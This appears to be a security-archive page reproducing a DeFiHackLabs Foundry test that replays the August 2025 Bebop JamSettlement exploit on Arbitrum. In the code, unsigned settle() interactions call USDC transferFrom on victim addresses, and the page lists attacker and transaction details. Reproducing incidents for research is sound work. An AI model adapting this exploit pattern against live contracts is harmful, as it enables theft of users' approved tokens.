Skip to content
THREATWIRE

Public reproduction file

src/test/2025-08/Bebop_dex_exp.sol

Public reproduction file for dataset entry Bebop.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2025-08/Bebop_dex_exp.sol136 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3
4import "../basetest.sol";
5import "../interface.sol";
6
7// @KeyInfo - Total Lost : 21k USD
8// Attacker : 0x59537353248d0b12c7fcca56a4e420ffec4abc91
9// Attack Contract : 0x091101b0f31833c03dddd5b6411e62a212d05875
10// Vulnerable Contract : 0xbeb0b0623f66bE8cE162EbDfA2ec543A522F4ea6
11// Attack Tx : https://arbiscan.io/tx/0xe5f8fe69b38613a855dbcb499a2c4ecffe318c620a4c4117bd0e298213b7619d
13// @Info
14// Vulnerable Contract Code : https://arbiscan.io/address/0xbeb0b0623f66bE8cE162EbDfA2ec543A522F4ea6#code
16// @Analysis
17// Post-mortem : https://x.com/SuplabsYi/status/1955230173365961128
18// Twitter Guy : https://x.com/SuplabsYi/status/1955230173365961128
19// Hacking God : https://x.com/SuplabsYi/status/1955230173365961128
20pragma solidity ^0.8.0;
22struct JamOrder {
23 address taker;
24 address receiver;
25 uint256 expiry;
26 uint256 exclusivityDeadline;
27 uint256 nonce;
28 address executor;
29 uint256 partnerInfo;
30 address[] sellTokens;
31 address[] buyTokens;
32 uint256[] sellAmounts;
33 uint256[] buyAmounts;
34 bool usingPermit2;
37struct JamInteraction {
38 bool result;
39 address to;
40 uint256 value;
41 bytes data;
45contract Bebop is BaseTestWithBalanceLog {
46 uint256 blocknumToForkFrom = 367586045 - 1;
47 address private usdc = 0xaf88d065e77c8cC2239327C5EDb3A432268e5831;
48 IJamSettlement jamContract = IJamSettlement(0xbeb0b0623f66bE8cE162EbDfA2ec543A522F4ea6);
51 function setUp() public {
52 vm.createSelectFork("arbitrum", blocknumToForkFrom);
53 //Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit
54 fundingToken = address(usdc);
56 }
58 function testExploit() public balanceLog {
59 // 1. Construct the JamOrder struct
60 JamOrder memory order = JamOrder({
61 taker: address(this),
62 receiver: address(this),
63 expiry: 1754987701,
64 exclusivityDeadline: 0,
65 nonce: 1,
66 executor: address(this),
67 partnerInfo: 0,
68 sellTokens: new address[](0),
69 buyTokens: new address[](0),
70 sellAmounts: new uint256[](0),
71 buyAmounts: new uint256[](0),
72 usingPermit2: false
73 });
75 // 2. Define the signature (empty as provided)
76 bytes memory signature = hex"";
78 // Interaction 1 arguments
79 address fromAddress1 = 0x0c06E0737e81666023bA2a4A10693e93277Cbbf1;
80 uint256 amount1 = 0x4ac2def8f; // 20,134,500,015
82 // Interaction 2 arguments
83 address fromAddress2 = 0xe7Ee27D53578704825Cddd578cd1f15ea93eb6Fd;
84 uint256 amount2 = 0xf4240; // 1,000,000
86 // This 'to' address is the same in both interactions
87 address sharedToAddress = address(this);
89 // AFTER: Dynamically encode the call using the interface
90 bytes memory interaction1Data = abi.encodeCall(
91 IERC20.transferFrom, // The function pointer
92 (fromAddress1, sharedToAddress, amount1) // The arguments as a tuple
93 );
95 bytes memory interaction2Data = abi.encodeCall(
96 IERC20.transferFrom, // The function pointer
97 (fromAddress2, sharedToAddress, amount2) // The arguments as a tuple
98 );
100 // 3. Construct the JamInteraction.Data array
101 JamInteraction[] memory interactions = new JamInteraction[](2);
103 interactions[0] = JamInteraction({
104 result: false,
105 to: 0xaf88d065e77c8cC2239327C5EDb3A432268e5831,
106 value: 0,
107 data: interaction1Data
108 });
110 interactions[1] = JamInteraction({
111 result: false,
112 to: 0xaf88d065e77c8cC2239327C5EDb3A432268e5831,
113 value: 0,
114 data: interaction2Data
115 });
117 // 4. Define the hooksData (empty as provided)
118 bytes memory hooksData = hex"";
120 // 5. Define the balanceRecipient
121 address balanceRecipient = address(this);
123 jamContract.settle(order, signature, interactions, hooksData, balanceRecipient);
125 }
128interface IJamSettlement {
129 function settle(
130 JamOrder calldata order,
131 bytes calldata signature,
132 JamInteraction[] calldata interactions,
133 bytes memory hooksData,
134 address balanceRecipient
135 ) external payable;

Analysis

Dataset entry

Public Foundry test for “Bebop” (2025-08-12). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

24 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x59537353248d0b12c7fcca56a4e420ffec4abc91

  • Attack Contract

    0x091101b0f31833c03dddd5b6411e62a212d05875

  • Vulnerable Contract

    0xbeb0b0623f66be8ce162ebdfa2ec543a522f4ea6

  • Attack Tx

    0xe5f8fe69b38613a855dbcb499a2c4ecffe318c620a4c4117bd0e298213b7619d

File record

Name
Bebop
Path
src/test/2025-08/Bebop_dex_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
e509047a5255ee99eb70fafbbe84e76d1d12ac59
Language
Solidity
Size
136 lines
Date
2025-08-12
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2025-08/Bebop_dex_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob e509047a5255ee99eb70fafbbe84e76d1d12ac59, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.